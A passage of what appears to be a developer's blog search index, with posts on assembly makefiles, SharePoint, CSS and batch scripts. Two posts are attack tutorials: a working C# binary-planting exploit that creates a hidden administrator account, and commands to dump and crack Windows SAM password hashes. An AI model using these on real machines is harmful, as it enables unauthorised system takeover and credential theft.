directory.\nF:\\projects\\programs\\WIN32ASM\\transparent\u0026gt;nmake /U Microsoft (R) Program Maintenance Utility Version 10.00.30319.01 Copyright (C) Microsoft Corporation. All rights reserved. ml /c /coff /Zd /Zi /Fl /Sn /nologo /I F:\\MASM32\\include trans.asm Assembling: trans.asm link /NOLOGO /SUBSYSTEM:WINDOWS /LIBPATH:F:\\MASM32\\LIB trans.obj And to clean the output,\nF:\\projects\\programs\\WIN32ASM\\transparent\u0026gt;nmake clean Microsoft (R) Program Maintenance Utility Version 10.00.30319.01 Copyright (C) Microsoft Corporation. All rights reserved. del *.exe del *.obj del *.lst\t","permalink":"https://madhur.co.in/blog/2012/02/08/makefileassembly.html","summary":"\u003cp\u003eI have been a big fan of assembly programming since my old school days. The raw power of CPU which you get is just pure awesome.\nBut, with that power, you also get much headache of non-availablity of standard IDE\u0026rsquo;s for using Assembly language.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eVisual Studio is one of the options, but it restricts you to the installed version of Microsoft Macro Assembler (ml.exe)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eSome prefer using QEditor.exe which ships with \u003ca href=\"http://masm32.com\"\u003eMASM32 SDK\u003c/a\u003e\u003c/p\u003e","title":"Using MakeFile with Assembly Programming"},{"content":"Yesterday, after a simple commit, my entire site went down. I spent entire day troubleshotting the issue. In the end, the resolution was simple: change the default branch.\nThe GitHub Pages documentation says that you can push a file named index.html onto your master branch to make it automatically available at username.github.com\nLet\u0026rsquo;s say your GitHub username is \u0026ldquo;Alice\u0026rdquo; If you create a GitHub repository named alice.github.com, commit a file named index.html into the master branch, and push it to GitHub, then this file will be automatically published to http://alice.github.com/.\nWhat it doesn\u0026rsquo;t say that, it will not work if you have changed your default branch from master to something else. In that case, index.html should be pushed to default branch.\nSince I use Jekyll with custom plugins, I maintain two branches: Source to store source Jekyll files and master for the published content. I had mistakenly set the source branch to be default rendering the whole site to be unavailable.\nIn nutshell, always remember that pages are always served from the default branch and not master branch.\n","permalink":"https://madhur.co.in/blog/2012/02/02/githubpages.html","summary":"\u003cp\u003eYesterday, after a simple commit, my entire site went down. I spent entire day troubleshotting the issue. In the end, the resolution was simple: change the default branch.\u003c/p\u003e\n\u003cp\u003eThe \u003ca href=\"http://pages.github.com/\"\u003eGitHub Pages documentation\u003c/a\u003e says that you can push a file named \u003cstrong\u003eindex.html\u003c/strong\u003e onto your \u003cstrong\u003emaster\u003c/strong\u003e branch to make it automatically available at \u003cstrong\u003eusername.github.com\u003c/strong\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cem\u003eLet\u0026rsquo;s say your GitHub username is \u0026ldquo;Alice\u0026rdquo; If you create a GitHub repository named alice.github.com, commit a file named index.html into the master branch, and push it to GitHub, then this file will be automatically published to \u003ca href=\"http://alice.github.com/\"\u003ehttp://alice.github.com/\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e","title":"GitHub Pages are served from the Default Branch"},{"content":"I have updated this Jekyll site with BluePrint CSS Framework. For those are not familiar with Blueprint, Blueprint is a grid based CSS framework. The grid is 950px wide, with 24 columns spanning 30px, and a 10px margin between columns. First step in designing the layout is to surround your grid with a container and use div\u0026rsquo;s with one of the .span-x classes to set the number of columns the elements should span. The last class, which every last element inside a container or another column needs.\nEarlier, I had a lot of different CSS files to maintain this page. After revamp, here is how my head section looks:\n\u0026lt;link rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;/files/css/blueprint/screen.css\u0026#34; type=\u0026#34;text/css\u0026#34; /\u0026gt; \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;/files/css/site.css\u0026#34; type=\u0026#34;text/css\u0026#34; /\u0026gt;\tI use screen.css, print.css from the framework and just override the styles in site.css.\nAchieving the sidebars, present on this site is very simple. We just add the relevant classes such as span-x depending upon the width you need. In my case, I divided into two blocks consisting of 6 and 18 columns respectively.\n\u0026lt;div id=\u0026#34;primary\u0026#34; class=\u0026#34;span-18\u0026#34;\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div id=\u0026#34;secondary\u0026#34; class=\u0026#34;span-6 last\u0026#34;\u0026gt; \u0026lt;/div\u0026gt; You may not notice any change in look and feel of the site, but internally its CSS structure has been completely re-designed.\n","permalink":"https://madhur.co.in/blog/2012/02/02/updateblueprintcss.html","summary":"\u003cp\u003eI have updated this Jekyll site with \u003ca href=\"http://blueprintcss.org/\"\u003eBluePrint CSS Framework\u003c/a\u003e. For those are not familiar with Blueprint, Blueprint is a grid based CSS framework. The grid is 950px wide, with 24 columns spanning 30px, and a 10px margin between columns.\nFirst step in designing the layout is to surround your grid with a container and use div\u0026rsquo;s with one of the .span-x classes to set the number of columns the elements should span. The \u003cstrong\u003elast\u003c/strong\u003e class, which every last element inside a container or another column needs.\u003c/p\u003e","title":"Updated with Blueprint CSS Framework"},{"content":"In this post, I am going to show you how you can execute out of the box SharePoint 2010 approval workflow with dynamic approvers.\nLet\u0026rsquo;s say, you have a list on which you have Approval workflow configured and you want the approver to be picked from the Person or Group type field from within the list.\nLet\u0026rsquo;s assume , the ID is being specified in the query string of the page such as\nStartWorfklow.aspx?ItemID=5\nI will be making use of Jquery and SPServices from codeplex for this purpose.\nFirst of all, we will retrieve the our specified item from this list and then retrieve the value of this Person or Group field. var ItemID= getParameterByName(\u0026#34;ItemID\u0026#34;); // Construct the CAML Query var CamlQuery = \u0026#34;\u0026lt;Query\u0026gt;\u0026lt;Where\u0026gt;\u0026lt;Eq\u0026gt;\u0026lt;FieldRef Name=\u0026#39;ID\u0026#39; /\u0026gt;\u0026lt;Value Type=\u0026#39;Counter\u0026#39;\u0026gt;\u0026#34;+ItemID+\u0026#34;\u0026lt;/Value\u0026gt;\u0026lt;/Eq\u0026gt;\u0026lt;/Where\u0026gt;\u0026lt;/Query\u0026gt;\u0026#34;; // Fire GetListItems web service to find the Approval contact $().SPServices({ operation: \u0026#34;GetListItems\u0026#34;, async: false, CAMLQuery: CamlQuery , listName: \u0026#34;Intake Requests\u0026#34;, CAMLViewFields: \u0026#34;\u0026lt;ViewFields\u0026gt;\u0026lt;FieldRef Name=\u0026#39;Band_x0020_45_x0020_Approval\u0026#39; /\u0026gt;\u0026lt;/ViewFields\u0026gt;\u0026#34;, completefunc: function (xData, Status) { events = new Array(); $(xData.responseXML).find(\u0026#34;z\\\\:row\u0026#34;).each(function() { approverName=$(this).attr(\u0026#34;ows_Band_x0020_45_x0020_Approval\u0026#34;); var index=approverName.indexOf(\u0026#34;;\u0026#34;); approverID=approverName.slice(0,index); approverName=approverName.substring(index+2,approverName.length); }) } }) When we retrieve the person or group field from the web services, it is returned as 1;#Madhur Ahuja. Where 1 is the ID of the row in User Information List and Madhur Ahuja is the display name. To pass it to Approval Workflow, we need the login name. We will query the User Information List to obtain the login name.\n// We will just get the DisplayName and ID, but not the Login Name, we will fire another web service to fetch the loginName of the User if(approverName!=null) { var xmlData =\u0026#34;\u0026lt;soap:Envelope xmlns:soap=\u0026#39;http://schemas.xmlsoap.org/soap/envelope/\u0026#39; xmlns:xsi=\u0026#39;http://www.w3.org/2001/XMLSchema-instance\u0026#39; xmlns:xsd=\u0026#39;http://www.w3.org/2001/XMLSchema\u0026#39;\u0026gt;\u0026lt;soap:Body\u0026gt;\u0026lt;GetListItems xmlns=\u0026#39;http://schemas.microsoft.com/sharepoint/soap/\u0026#39;\u0026gt;\u0026lt;listName\u0026gt;User Information List\u0026lt;/listName\u0026gt;\u0026lt;query\u0026gt;\u0026lt;Query xmlns=\u0026#39;\u0026#39;\u0026gt;\u0026lt;Where\u0026gt;\u0026lt;Eq\u0026gt;\u0026lt;FieldRef Name=\u0026#39;ID\u0026#39; /\u0026gt;\u0026lt;Value Type=\u0026#39;Counter\u0026#39;\u0026gt;\u0026#34;+approverID+\u0026#34;\u0026lt;/Value\u0026gt;\u0026lt;/Eq\u0026gt;\u0026lt;/Where\u0026gt;\u0026lt;OrderBy\u0026gt;\u0026lt;FieldRef Name=\u0026#39;Title\u0026#39; /\u0026gt;\u0026lt;/OrderBy\u0026gt;\u0026lt;/Query\u0026gt;\u0026lt;/query\u0026gt;\u0026lt;viewFields\u0026gt;\u0026lt;ViewFields xmlns=\u0026#39;\u0026#39; /\u0026gt;\u0026lt;/viewFields\u0026gt;\u0026lt;queryOptions\u0026gt;\u0026lt;QueryOptions xmlns=\u0026#39;\u0026#39; /\u0026gt;\u0026lt;/queryOptions\u0026gt;\u0026lt;/GetListItems\u0026gt;\u0026lt;/soap:Body\u0026gt;\u0026lt;/soap:Envelope\u0026gt;\u0026#34;; $.ajax({ url: \u0026#34;/sites/nishantverma/_vti_bin/lists.asmx\u0026#34;, type: \u0026#34;POST\u0026#34;, async: false, dataType: \u0026#34;xml\u0026#34;, data: xmlData, complete:SuccessFunc, error: ErrorFunc, contentType: \u0026#34;text/xml; charset=\\\u0026#34;utf-8\\\u0026#34;\u0026#34; }); function SuccessFunc(result) { //xml node with namespace need to be handled differently for jQuery $(result.responseXML).find(\u0026#34;z\\\\:row\u0026#34;).each(function() { loginName=$(this).attr(\u0026#34;ows_Name\u0026#34;); }); } function ErrorFunc(result) { alert(result.responseText); } } We get the login name in the variable ows_Name. Now we can fire the Approval workflow passing it the login name. Note the templateId below, its the GUID of the SharePoint 2010 Approval workflow which is associated with the list. $().SPServices({ operation: \u0026#34;StartWorkflow\u0026#34;, item: \u0026#34;http://sp.madhurmoss.com/sites/nishantverma/GBSRequest/Lists/Intake%20Requests/\u0026#34; + ItemID + \u0026#34;_.000\u0026#34;, templateId: \u0026#34;{10E4D465-A9B6-4146-BD50-E9A78888548D}\u0026#34;, workflowParameters: assocData, completefunc: function() { $(\u0026#34;#intake\u0026#34;).html(\u0026#34;Your Intake Request has been sent to \u0026#34;+approverName+\u0026#34; for his approval. Thanks for submitting the request. This page will redirect to homepage after few seconds\u0026#34;); window.setTimeout(function() { window.location.href = \u0026#39;/sites/nishantverma/GBSRequest\u0026#39;; }, 5000) } }); Here, the key is the variable assocData, which is nothing but the Association Data of the workflow. In SharePoint 2010 Approval workflow, its the serialized XML of the infopath form. This variable is defnied as the XML string as below:\nvar assocData=\u0026#39;\u0026lt;dfs:myFields xmlns:xsd=\u0026#34;http://www.w3.org/2001/XMLSchema\u0026#34; xmlns:dms=\u0026#34;http://schemas.microsoft.com/office/2009/documentManagement/types\u0026#34; xmlns:dfs=\u0026#34;http://schemas.microsoft.com/office/infopath/2003/dataFormSolution\u0026#34; xmlns:q=\u0026#34;http://schemas.microsoft.com/office/infopath/2009/WSSList/queryFields\u0026#34; xmlns:d=\u0026#34;http://schemas.microsoft.com/office/infopath/2009/WSSList/dataFields\u0026#34; xmlns:ma=\u0026#34;http://schemas.microsoft.com/office/2009/metadata/properties/metaAttributes\u0026#34; xmlns:pc=\u0026#34;http://schemas.microsoft.com/office/infopath/2007/PartnerControls\u0026#34; xmlns:xsi=\u0026#34;http://www.w3.org/2001/XMLSchema-instance\u0026#34;\u0026gt;\u0026#39;+ \u0026#39;\u0026lt;dfs:queryFields\u0026gt;\u0026lt;/dfs:queryFields\u0026gt;\u0026#39;+ \u0026#39;\u0026lt;dfs:dataFields\u0026gt;\u0026#39;+ \u0026#39;\u0026lt;d:SharePointListItem_RW\u0026gt;\u0026#39;+ \u0026#39;\u0026lt;d:Approvers\u0026gt;\u0026#39;+ \u0026#39;\u0026lt;d:Assignment\u0026gt;\u0026#39;+ \u0026#39;\u0026lt;d:Assignee\u0026gt;\u0026#39;+ \u0026#39;\u0026lt;pc:Person\u0026gt;\u0026lt;pc:DisplayName\u0026gt;\u0026lt;/pc:DisplayName\u0026gt;\u0026lt;pc:AccountId\u0026gt;\u0026#39;+loginName+\u0026#39;\u0026lt;/pc:AccountId\u0026gt;\u0026lt;pc:AccountType\u0026gt;User\u0026lt;/pc:AccountType\u0026gt;\u0026lt;/pc:Person\u0026gt;\u0026#39;+ \u0026#39;\u0026lt;/d:Assignee\u0026gt;\u0026#39;+ \u0026#39;\u0026lt;d:Stage xsi:nil=\u0026#34;true\u0026#34; /\u0026gt;\u0026#39;+ \u0026#39;\u0026lt;d:AssignmentType\u0026gt;Serial\u0026lt;/d:AssignmentType\u0026gt;\u0026#39;+ \u0026#39;\u0026lt;/d:Assignment\u0026gt;\u0026#39;+ \u0026#39;\u0026lt;/d:Approvers\u0026gt;\u0026#39;+ \u0026#39;\u0026lt;d:ExpandGroups\u0026gt;true\u0026lt;/d:ExpandGroups\u0026gt;\u0026#39;+ \u0026#39;\u0026lt;d:NotificationMessage\u0026gt;Please approve\u0026lt;/d:NotificationMessage\u0026gt;\u0026#39;+ \u0026#39;\u0026lt;d:DueDateforAllTasks xsi:nil=\u0026#34;true\u0026#34; /\u0026gt;\u0026lt;d:DurationforSerialTasks xsi:nil=\u0026#34;true\u0026#34; /\u0026gt;\u0026#39;+ \u0026#39;\u0026lt;d:DurationUnits\u0026gt;Day\u0026lt;/d:DurationUnits\u0026gt;\u0026#39;+ \u0026#39;\u0026lt;d:CC /\u0026gt;\u0026#39;+ \u0026#39;\u0026lt;d:CancelonRejection\u0026gt;true\u0026lt;/d:CancelonRejection\u0026gt;\u0026#39;+ \u0026#39;\u0026lt;d:CancelonChange\u0026gt;false\u0026lt;/d:CancelonChange\u0026gt;\u0026#39;+ \u0026#39;\u0026lt;d:EnableContentApproval\u0026gt;false\u0026lt;/d:EnableContentApproval\u0026gt;\u0026#39;+ \u0026#39;\u0026lt;/d:SharePointListItem_RW\u0026gt;\u0026#39;+ \u0026#39;\u0026lt;/dfs:dataFields\u0026gt;\u0026#39;+ \u0026#39;\u0026lt;/dfs:myFields\u0026gt;\u0026#39;; The full code can be downloaded from my gist here.\n","permalink":"https://madhur.co.in/blog/2012/01/09/spworkflowapprovers.html","summary":"\u003cp\u003eIn this post, I am going to show you how you can execute out of the box SharePoint 2010 approval workflow with dynamic approvers.\u003c/p\u003e\n\u003cp\u003eLet\u0026rsquo;s say, you have a list on which you have Approval workflow configured and you want the approver to be picked from the Person or Group type field from within the list.\u003c/p\u003e\n\u003cp\u003eLet\u0026rsquo;s assume , the ID is being specified in the query string of the page such as\u003c/p\u003e","title":"Invoke SharePoint 2010 Approval Workflow with Dynamic Approvers using Web Services and Jquery"},{"content":"I have pieced together a silverlight control for SharePoint 2010. The .XAP file and the source code is hosted at this codeplex project\nYou can see a live demo at this location\nKey Features Collapse/Expand of Nodes Reset Root anywhere within the Org Chart Root can be permanently set in web part through parameters Optionally draws dotted line based on input data. ","permalink":"https://madhur.co.in/blog/2011/12/29/slchart.html","summary":"\u003cp\u003eI have pieced together a silverlight control for SharePoint 2010. The .XAP file and the source code is hosted at this \u003ca href=\"http://madhur.codeplex.com\"\u003ecodeplex project\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eYou can see a live demo at this \u003ca href=\"/silverdemo/Index.html\"\u003elocation\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"key-features\"\u003eKey Features\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eCollapse/Expand of Nodes\u003c/li\u003e\n\u003cli\u003eReset Root anywhere within the Org Chart\u003c/li\u003e\n\u003cli\u003eRoot can be permanently set in web part through parameters\u003c/li\u003e\n\u003cli\u003eOptionally draws dotted line based on input data.\u003c/li\u003e\n\u003c/ul\u003e","title":"Silverlight Chart Control for SharePoint 2010"},{"content":"If you written a command shell script and it exits after executing only first command, its probably because one of the command in the command script is itself a command script. In that case, such script needs to be called using the call command.\nFor example,\n@echo off echo \u0026#34;Building Content\u0026#34; jekyll --no-server --no-auto echo \u0026#34;Checking out master\u0026#34; git checkout master echo \u0026#34;Copying the updated content to root\u0026#34; cp -r _site/* . \u0026amp;\u0026amp; rm -rf _site/ \u0026amp;\u0026amp; touch .nojekyll echo \u0026#34;Adding the content\u0026#34; git add . echo \u0026#34;Updated content\u0026#34; git commit -am \u0026#34;Updated content\u0026#34; echo \u0026#34;Pushed content\u0026#34; git push --all origin The above script will simply exit after running the first command. This is because Jekyll itself runs as a batch file in Windows. To correct this, we need to call Jekyll with the use of call command\n@echo off echo \u0026#34;Building Content\u0026#34; call jekyll --no-server --no-auto echo \u0026#34;Checking out master\u0026#34; git checkout master echo \u0026#34;Copying the updated content to root\u0026#34; cp -r _site/* . \u0026amp;\u0026amp; rm -rf _site/ \u0026amp;\u0026amp; touch .nojekyll echo \u0026#34;Adding the content\u0026#34; git add . echo \u0026#34;Updated content\u0026#34; git commit -am \u0026#34;Updated content\u0026#34; echo \u0026#34;Pushed content\u0026#34; git push --all origin ","permalink":"https://madhur.co.in/blog/2011/12/29/cmdshellfirst.html","summary":"\u003cp\u003eIf you written a command shell script and it exits after executing only first command, its probably because one of the command in the\ncommand script is itself a command script. In that case, such script needs to be called using the \u003cem\u003ecall\u003c/em\u003e command.\u003c/p\u003e\n\u003cp\u003eFor example,\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e@echo off\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eecho \u0026#34;Building Content\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ejekyll --no-server --no-auto\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eecho \u0026#34;Checking out master\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003egit checkout master\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eecho \u0026#34;Copying the updated content to root\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ecp -r _site/* . \u0026amp;\u0026amp; rm -rf _site/ \u0026amp;\u0026amp; touch .nojekyll\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eecho \u0026#34;Adding the content\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003egit add .\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eecho \u0026#34;Updated content\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003egit commit -am \u0026#34;Updated content\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eecho \u0026#34;Pushed content\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003egit push --all origin\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe above script will simply exit after running the first command. This is because Jekyll itself runs as a batch file in Windows. To correct this, we need to call Jekyll with the use of \u003cem\u003ecall\u003c/em\u003e command\u003c/p\u003e","title":"Windows command shell(cmd.exe) runs only first command"},{"content":"This article is a tutorial on how to trick Windows XP into giving you system privileges using Binary Planting. There have been other previlege escalation methods which are no longer useable:\nEscalation using at command Escalation using Utilman.exe Microsoft Windows services, formerly known as NT services, enable you to create long-running executable applications that run in their own Windows sessions. These services can be automatically started when the computer boots, can be paused and restarted, and do not show any user interface. Each service executes in the security context of a user account.\nYou can specify one of the following special accounts instead of specifying a user account for the service:\nLocalService NetworkService LocalSystem LocalSystem has extensive privileges on the local computer, and acts as the computer on the network. Its token includes the NT AUTHORITY\\SYSTEM and BUILTIN\\Administrators SIDs; these accounts have access to most system objects.\nIf you open services.msc you can see many Windows services running with LocalSystem account. Most of the Windows services run under the process svchost.exe by supplying different command line parameters to it. Now imagine what will happen if we replace svchost.exe with our own custom svchost.exe having malicious code. This file replacement will result in privelege escalation and execution of exploit code. This can even happen remotely if you are able to connect to remote machine and replace svchost.exe. Fortunately, svchost.exe and many of the Windows critical executables are protected by [Windows File Protection] (http://en.wikipedia.org/wiki/Windows_File_Protection)\nHowever, depending on your computer configuration, there will be some other 3rd party services which have been installed and run under the different process. For example, in the screenshot below there is a service called Google Update service which runs under LocalSystem account in the process GoogleUpdate.exe. This process is generally called from this location C:\\Program Files\\Google\\GoogleUpdate.exe.\nNow, even as a restricted user, nobody is stopping me from deleting or replacing this file. If we replace this GoogleUpdate.exe with the malicious one and then restart the Google Update Services, no file integrity check is performed by OS or Google Update Services to verify that file being executed is original or malicious. This makes the system vulnerable to be exploited since we can run any malicious code under System account simply by replacing this file and then executing the service, which can be done as restricted user.\nHere is a simple Windows Service code which produces the executable called GoogleUpdate.exe , creates a user and adds it to the Administrators group.\nnamespace Google.MakeAdmin.Exploit { using System; using System.Diagnostics; using System.ServiceProcess; using System.DirectoryServices; public partial class MakeAdmin : ServiceBase { private readonly string sSource; private readonly string sLog; /// \u0026lt;summary\u0026gt; /// Initializes a new instance of the \u0026lt;see cref=\u0026#34;MakeAdmin\u0026#34;/\u0026gt; class. /// \u0026lt;/summary\u0026gt; public MakeAdmin() { InitializeComponent(); sSource = \u0026#34;Google.MakeAdmin.Exploit\u0026#34;; sLog = \u0026#34;Application\u0026#34;; } /// \u0026lt;summary\u0026gt; /// When implemented in a derived class, executes when a Start command is sent to the service by the /// Service Control Manager (SCM) or when the operating system starts (for a service that starts automatically). /// Specifies actions to take when the service starts. /// \u0026lt;/summary\u0026gt; /// \u0026lt;param name=\u0026#34;args\u0026#34;\u0026gt;Data passed by the start command.\u0026lt;/param\u0026gt; protected override void OnStart(string[] args) { if (!EventLog.SourceExists(sSource)) { EventLog.CreateEventSource(sSource, sLog); } const string login = \u0026#34;superboy\u0026#34;; const string password = \u0026#34;pass@word1\u0026#34;; const string fullName = \u0026#34;Clark Kent\u0026#34;; CreateUserAccount(login, password, fullName, true, true); } /// \u0026lt;summary\u0026gt; /// When implemented in a derived class, executes when a Stop command is sent to the service by the /// Service Control Manager (SCM). Specifies actions to take when a service stops running. /// \u0026lt;/summary\u0026gt; protected override void OnStop() { } /// \u0026lt;summary\u0026gt; /// Creates the user account. /// \u0026lt;/summary\u0026gt; /// \u0026lt;param name=\u0026#34;login\u0026#34;\u0026gt;The login.\u0026lt;/param\u0026gt; /// \u0026lt;param name=\u0026#34;password\u0026#34;\u0026gt;The password.\u0026lt;/param\u0026gt; /// \u0026lt;param name=\u0026#34;fullName\u0026#34;\u0026gt;The full name.\u0026lt;/param\u0026gt; /// \u0026lt;param name=\u0026#34;isAdmin\u0026#34;\u0026gt;if set to \u0026lt;c\u0026gt;true\u0026lt;/c\u0026gt; [is admin].\u0026lt;/param\u0026gt; /// \u0026lt;param name=\u0026#34;isNew\u0026#34;\u0026gt;if set to \u0026lt;c\u0026gt;true\u0026lt;/c\u0026gt; [is new].\u0026lt;/param\u0026gt; private void CreateUserAccount(string login, string password, string fullName, bool isAdmin, bool isNew) { try { DirectoryEntry dirEntry = new DirectoryEntry(\u0026#34;WinNT://\u0026#34; + Environment.MachineName + \u0026#34;,computer\u0026#34;); DirectoryEntries entries = dirEntry.Children; DirectoryEntry newUser = null; if (isNew) { newUser = entries.Add(login, \u0026#34;user\u0026#34;); } else { newUser = entries.Find(login, \u0026#34;user\u0026#34;); } newUser.Properties[\u0026#34;FullName\u0026#34;].Add(fullName); newUser.Invoke(\u0026#34;SetPassword\u0026#34;, password); newUser.CommitChanges(); // Remove the if condition along with the else to create user account in \u0026#34;user\u0026#34; group. DirectoryEntry grp; if (isAdmin) { grp = dirEntry.Children.Find(\u0026#34;Administrators\u0026#34;, \u0026#34;group\u0026#34;); if (grp != null) { grp.Invoke(\u0026#34;Add\u0026#34;, new object[] {newUser.Path}); } } else { grp = dirEntry.Children.Find(\u0026#34;Guests\u0026#34;, \u0026#34;group\u0026#34;); if (grp != null) { grp.Invoke(\u0026#34;Add\u0026#34;, new object[] {newUser.Path}); } } } catch (Exception ex) { EventLog.WriteEntry(sSource, ex.Message); } } } } Exploiting the Service running with LocalSystem Account Compile the file to generate a new service executable named GoogleUpdate.exe and replace it with the original file stored at the location C:\\Program Files\\Google\\GoogleUpdate.exe Restart the service. This will cause our exploit code to be executed and a new user will be created in the system with Administrator privileges. In my example, user will have login name superboy and password pass@word1. Try to run the command prompt with the credentials of new user. The command prompt executed is under the credentials of superboy and has superuser access. The exploit code can be downloaded from this github repository.\n","permalink":"https://madhur.co.in/blog/2011/09/23/privilegeescalation.html","summary":"\u003cp\u003eThis article is a tutorial on how to trick Windows XP into giving you system privileges using Binary Planting. There have been other previlege escalation methods which are no longer useable:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eEscalation using at command\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://technet.microsoft.com/en-us/security/bulletin/ms04-019\"\u003eEscalation using Utilman.exe\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eMicrosoft Windows services, formerly known as NT services, enable you to create long-running executable applications that run in their own Windows sessions. These services can be automatically started when the computer boots, can be paused and restarted, and do not show any user interface. Each service executes in the security context of a user account.\u003c/p\u003e","title":"Privilege escalation on Windows using Binary Planting"},{"content":"If you have forgotten the Windows Administrator password, you can either reset or even crack it. Windows XP stored it username and password information in file named SAM at %SystemDrive%:\\Windows\\system32\\config. The SAM file is encrypted using LM hashes, which is vulnerable to rainbow table attack and bruteforce attack.\nI am going to do this with already available tools in Backtrack.\ncd /mnt/hda1/WINDOWS/system32/config/ bkhive system key samdump2 SAM key \u0026gt; /root/pass1 This will dump the hashes in /root/pass1 file as shown below\nRoot Key : CMI-CreateHive{C4E7BA2B-68E8-499C-B1A1-371AC8D717C7} Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: madhurdesk:1000:aad3b435b51404eeaad3b435b51404ee:ba03a114def8d5c913983436960e592c::: HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:cdaac87aeeac96724b4a2af3c4879242::: Cracking using John the ripper,\njohn --format=NT /root/pass1 Loaded 1 password hash (NT MD4 [128/128 SSE2 + 32/32]) Or, you can directly reset it with chntpw\n/pentest/password/chntpw -u administrator SAM ","permalink":"https://madhur.co.in/blog/2011/09/18/crackresetwindows.html","summary":"\u003cp\u003eIf you have forgotten the Windows Administrator password, you can either reset or even crack it.\nWindows XP stored it username and password information in file named SAM at %SystemDrive%:\\Windows\\system32\\config. The SAM file is encrypted using LM hashes, which is vulnerable to rainbow table attack and bruteforce attack.\u003c/p\u003e\n\u003cp\u003eI am going to do this  with already available tools in Backtrack.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ecd /mnt/hda1/WINDOWS/system32/config/\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ebkhive system key\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esamdump2 SAM key \u0026gt; /root/pass1\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThis will dump the hashes in /root/pass1 file as shown below\u003c/p\u003e","title":"Crack or Reset Windows Passwords"},{"content":"Often during Nmap scanning techniques, you will find the port state as either open or filtered\nPORT STATE SERVICE 22/tcp open ssh 443/tcp open https 1024/tcp filtered kdm 1084/tcp filtered ansoft-lm-2 1863/tcp filtered msnp 3128/tcp open squid-http 3333/tcp filtered dec-notes 4900/tcp filtered hfcs 9943/tcp filtered unknown 30000/tcp open unknown 38292/tcp filtered landesk-cba 40911/tcp filtered unknown 52673/tcp filtered unknown What exactly is the difference between two ?\nClosed Port: If you send a SYN to a closed port, it will respond back with a RST. Filtered Port: Presumably, the host is behind some sort of firewall. Here, the packet is simply dropped and you receive no response (not even a RST). Open Port: If you send a SYN to an open port, you would expect to receive SYN/ACK. ","permalink":"https://madhur.co.in/blog/2011/09/18/filteredclosed.html","summary":"\u003cp\u003eOften during Nmap scanning techniques, you will find the port state as either \u003cstrong\u003eopen\u003c/strong\u003e or \u003cstrong\u003efiltered\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ePORT      STATE    SERVICE\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan 